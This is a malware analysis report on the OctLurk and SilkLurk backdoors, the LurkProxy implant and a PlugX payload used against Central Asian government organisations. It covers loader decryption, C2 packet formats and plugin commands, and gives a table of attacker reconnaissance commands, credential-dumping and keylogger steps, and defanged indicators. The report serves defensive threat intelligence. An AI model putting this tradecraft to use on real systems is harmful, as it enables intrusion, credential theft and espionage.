Introduction

We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.

The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.

Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.

OctLurk

OctLurk Deployment

The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.

The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.

LurkPoxy Deployment

In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.

After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.

We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.

OctLurk loader

The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.

The double‑XOR decryption uses two distinct multibyte keys:

• Key 1: hard‑coded in the loader
• Key 2: derived from the serial number of the C: drive

The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.

OctLurk backdoor

The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:

• OS information as RTL_OSVERSIONINFOW structure
• Computer name
• User name
• Local host name
• Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
• Current local date and time as SYSTEMTIME struct

To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:

• 0x00: randomly generated XOR key bytes (size 83 bytes)
• 0x53: compressed data size
• 0x57: compressed data in the following format: <uncompressed_size> <deflate(data)>
• 0x57 + compressed_data_size: randomly generated bytes (from 14 to 41 bytes)

The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.

• 0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
• 0x0A: \x00\x00
• 0x0C: next_packet_size

The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.

• 0x00: XOR key; size 83 bytes
• 0x53: compressed data size
• 0x57: compressed data in the format: <uncompressed_size> <deflate(data)>

The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.

OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.

• Command Shell: provides a command shell
• File Manager: performs filesystem interaction
• Interaction Manager: synthesizes keyboard and mouse events

The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.

Plugin type	Description
File Manager	●       case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes. ●       case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name. ●       case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file ●       case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder. ●       case 0x10051: execute the specified command line using the CreateProcessAsUserW API. ●       case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API. ●       case 0x10070: create a directory. ●       case 0x10080: set the attributes for a file or directory. ●       case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2. ●       case 0x20010: get the size of a file. ●       case 0x20020: read a file from the system in chunks, starting at a specified offset. ●       case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times. ●       case 0x20040: close the file handle and free the associated metadata (file path, handle, and size). ●       case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2.
Command Shell	●       case 0x3E9: launch cmd.exe as shell. ●       case 0x3EA: send the exit command to close the command shell. ●       case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2. If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file.
Interaction Manager	●       case 0x3E9: capture the entire screen as a BMP image. ●       case 0x3EA: capture the entire screen at specified intervals. ●       case 0x3EC: retrieve clipboard data. ●       case 0x3ED: copy the data to the clipboard. ●       case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button. ●       case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button. ●       case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button. ●       case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button. ●       case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event. ●       case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount. ●       case 0x3FD: press the key indicated by the virtual‑key code. ●       case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code. ●       case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button.

Post-compromise activity

The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:

Victim fingerprinting

The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.

The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.

Command	Description
chcp 1256	Changes the system’s code page to 1256, which supports Arabic characters.
powershell $PSVersionTable	Retrieves the version information of PowerShell.
qwinsta	Views all active sessions on the local machine.
klist sessions	Displays a list of logon sessions on this computer (Including Kerberos).
TASKLIST /V	Lists all running tasks with detailed information.
findstr /i /c:”explorer.exe”	Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V.
wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]”	Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol).
powershell “ipconfig|select-string v4 -context 1,3”	Uses PowerShell to filter ipconfig output for IPv4 addresses.
ipconfig /all	Displays detailed network configuration information.
WHOAMI /all	Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details.
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr “=”	Retrieves information about installed antivirus software.
powershell Get-NetTCPConnection	Retrieves information about TCP connections.
netstat -ano | findstr LISTENING	Shows listening ports.
netstat -ano | findstr ESTABLISHED	Displays established connections.
cmd.exe /c netstat -ano | findstr “EST” | findstr -v 127.0.0.1	Filters established connections excluding the loopback address.
powershell.exe “get-wmiobject -query ‘select * from win32_process’ | Select-Object ProcessId,ProcessName,CommandLine,ExecutablePath,CreationDate | Where-object {$_.ProcessId -eq 500} | Format-List”	Retrieves detailed information about a specific process.
reg query HKLM /s /f “ProfileImagePath” /t REG_EXPAND_SZ	Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder.
cmd.exe /c dir /b c:\users	Lists the contents of the C:\Users directory.
wmic startup get caption,command | findstr exe	Filters startup items for executable files.
powershell “get-MpComputerStatus”	Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system.
reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection”	Queries whether Microsoft Defender antivirus’s tamper protection is enabled.
reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s	Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender.
wevtutil gli Security	Configures the Security event log.
wevtutil gl Security /f:xml	Retrieves events from the Security log in XML format.
wevtutil gli “Windows PowerShell”	Configures the Windows PowerShell event log.
wevtutil gl “Windows PowerShell” /f:xml	Retrieves events from the Windows PowerShell log in XML format.
wevtutil gli System	Configures the System event log.
wevtutil gl System /f:xml	Retrieves events from the System log in XML format.
schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>”	Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName.
systeminfo	Displays detailed system information.
powershell “Get-WmiObject -Class Win32_BIOS | Format-list”	Retrieves BIOS information.
powershell “Get-WMIObject -Class Win32_PhysicalMemory | Format-list”	Retrieves physical memory information.
powershell “Get-WMIObject -Class Win32_Processor | Format-list”	Retrieves processor information.
powershell “Get-WMIObject -Class Win32_DiskDrive | Format-list”	Retrieves disk drive information.
netsh interface ipv4 show interfaces	Displays information about IPv4 interfaces.
powershell “gwmi Win32_NetworkAdapter | Format-list”	Provides hardware-level and driver-level information about adapters.
powershell “gwmi Win32_NetworkAdapterConfiguration | Format-list”	Provides network configuration details, such as IP address, DNS, DHCP status, etc.
ipconfig /all	Displays detailed network configuration.
netstat -e -s	Displays detailed network protocol statistics.
certutil -urlcache	Displays URL cache entries.
ipconfig /displaydns	Displays the contents of the DNS client resolver cache.

Event log collection

The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.

Credential harvesting

Impacket — secretsdump

Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.

Keylogger

Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.

The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.

Browser Password Decryptor

The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.

Remote access : Pandora FMS agents (Pandora RC agent)

Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.

The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.

• EHUSER: a Pandora RC user
• STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
• EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
• DESKTOPSHORTCUT: 0: do not create a desktop shortcut

Network scan: FSCAN

Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.

Email harvesting

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:

• Verify that a connection to the email server is working
• Authenticate the user
• Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)

LurkProxy

In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.

Offset	Data	Type
0x00 (00)	Unused	–
0x08 (08)	Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet	bit array
0x0C (12)	Command number	int
0x10 (16)	Handler number (unique identifier for each proxy client in the first mode)	int
0x14 (20)	Command integer argument	int
0x18 (24)	Unused	–
0x1C (28)	Data 1 payload size	int
0x20 (32)	Data 2 payload size	int
0x24 (36)	Data 1 byte stream	bytes
0x24 (36) + N	Data 2 byte stream	bytes

LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.

Mode 1: SOCKS5 proxy

When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.

Mode 2: transparent proxy

In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.

Command ID	Direction	Description	Arguments
0x1000010	Implant -> C2	When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration	Target port in command integer argument UTF-16 encoded connection hostname in data 1
0x1000010	C2 -> Implant	Used to control the session, allowing it to pause or stop proxying	Action in command integer argument (1 to pause, or any other value to terminate)
0x1000030	Implant -> C2	Sent when the LurkProxy is shut down	–
0x1000050	Implant -> C2	Forwards the received bytes from the client to C2	Raw TCP bytes in data 1
0x1000050	C2 -> Implant	Forwards the received bytes from the proxy target to the client	Raw TCP bytes in data 1

SilkLurk

Deployment

The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.

SilkLurk loader

The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.

Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.

• Service Type: SERVICE_WIN32_OWN_PROCESS
• Start Type: SERVICE_AUTO_START
• Error Control: SERVICE_ERROR_NORMAL

On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:

Shellcode offset	Description
0x000 (0)	Stub code, which performs reflective code injection
0x770 (1904)	Hardcoded value 0x11113F68, XORed with the computer name hash
0x774 (1908)	Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs
0x775 (1909)	Size of the encrypted backdoor
0x779 (1913)	Encrypted backdoor data blob

The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.

The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.

During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.

During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.

SilkLurk backdoor

The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:

Offset	Description
0x00 (000)	C2 Host 1
0x64 (100)	C2 Host 2
0xC8 (200)	C2 Host 3
0x12C (300)	C2 Host 4
0x190 (400)	Port for C2 Host 1
0x192 (402)	Port for C2 Host 2
0x194 (404)	Port for C2 Host 3
0x196 (406)	Port for C2 Host 4
0x198 (408)	Unknown 21 bytes
0x1AD (429)	Proxy address 1
0x22A (554)	Proxy username 1
0x2A7 (679)	Proxy password 1
0x324 (804)	Proxy address 2
0x3A1 (929)	Proxy username 2
0x41E (1054)	Proxy password 2

The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:

CONNECT %s:%d HTTP/1.1
Proxy-Connection: Keep-Alive
Host: %s:%d
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36

After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.

Field offset	Field size (in bytes)	Field value
0x00 (00)	0x04 (04)	0x0C7FFBE86h (magic dword)
0x04 (04)	0x04 (04)	0
0x08 (08)	0x20 (32)	Network key (will be used to encrypt and decrypt network traffic)

It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.

Field offset	Field size (in bytes)	Field value
0x00 (00)	0x08 (08)	data_size (encrypted_key_data + random_bytes_size)
0x08 (08)	0x04 (04)	data_size XORed with 0x39
0x0C (12)	0x28 (40)	Encrypted network key data (as mentioned in above table)
0x34 (52)	size between 0x14 (20) and 0xB4 (180)	Random data bytes

After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.

Field offset	Field size (in bytes)	Field value
0x00 (00)	0x04 (04)	0xC7FFBE86 (magic dword)
0x04(04)	0x04 (04)	Message type (1 means victim information)
0x08 (08)	0x04 (04)	Data size (size of encrypted victim information)
0x0C (12)	0x01 (01)	Compression flag (1 means compressed)
0x0D (13)	0x02 (02)	Size of random bytes, between 0x14 and 0x96 bytes

Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.

<random_dword><encrypted header><encrypted victim information><random bytes>

Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.

Field offset	Field size (in bytes)	Field value
0x00 (00)	0x04 (04)	Random dword
0x04 (04)	0x0F (15)	Encrypted header data

The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.

The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:

Command (message type)	Description
03	Based on subcommand, perform the following operations: 00: Get target system’s local time 01: Set sleep time in milliseconds, after which to reconnect to the C2 server
04	Send current backdoor configuration
05	Update backdoor configuration
06	Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations: 01: Inject payload (plugin) bytes into memory and execute payload’s entry point 03: Call export method of injected plugin

Post-compromise activity

The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.

Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.

WinRAR	18dc8bff47cc282508354771d0c8cf8c	C:\Users\[username]\Libraries\RecordedTV.exe C:\Users\[username]\Libraries\recordutil.exe
7Zip	9a1dd1d96481d61934dcc2d568971d06	C:\windows\vss\7z.exe

Second-stage payload

PlugX

The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.

C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164)
C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69)
C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file

Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.

PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.

Config field name	Value
Injection Target Process	%SystemRoot%\system32\svchost.exe
Home Directory	%ALLUSERSPROFILE%\Symantec
Persistence Name	SymantecRAS
Service Display Name	SymantecRAS
Service Description	Symantec RAS Services
Campaign ID	KG_MFA

Infrastructure

The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.

Attribution

We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.

1. In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
   
2. In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.

OctLurk	C:\ProgramData\intel\mscastrac.dll (MD5 7c2f64461bb519c6cbf1fc687675514c) C:\ProgramData\intel\msbasesysdc.dll (MD5 f4578e869a735cfad691f927bae3e638)
SilkLurk	C:\ProgramData\intel\vulkan-1.dll (MD5 2f18472866f38c1e1c2c5c14b9a6ab56)

In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.

Conclusions

The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.

In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

Backdoor domains and IPs

OctLurk C2

dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165

LurkProxy C2

dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76

SilkLurk C2

tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
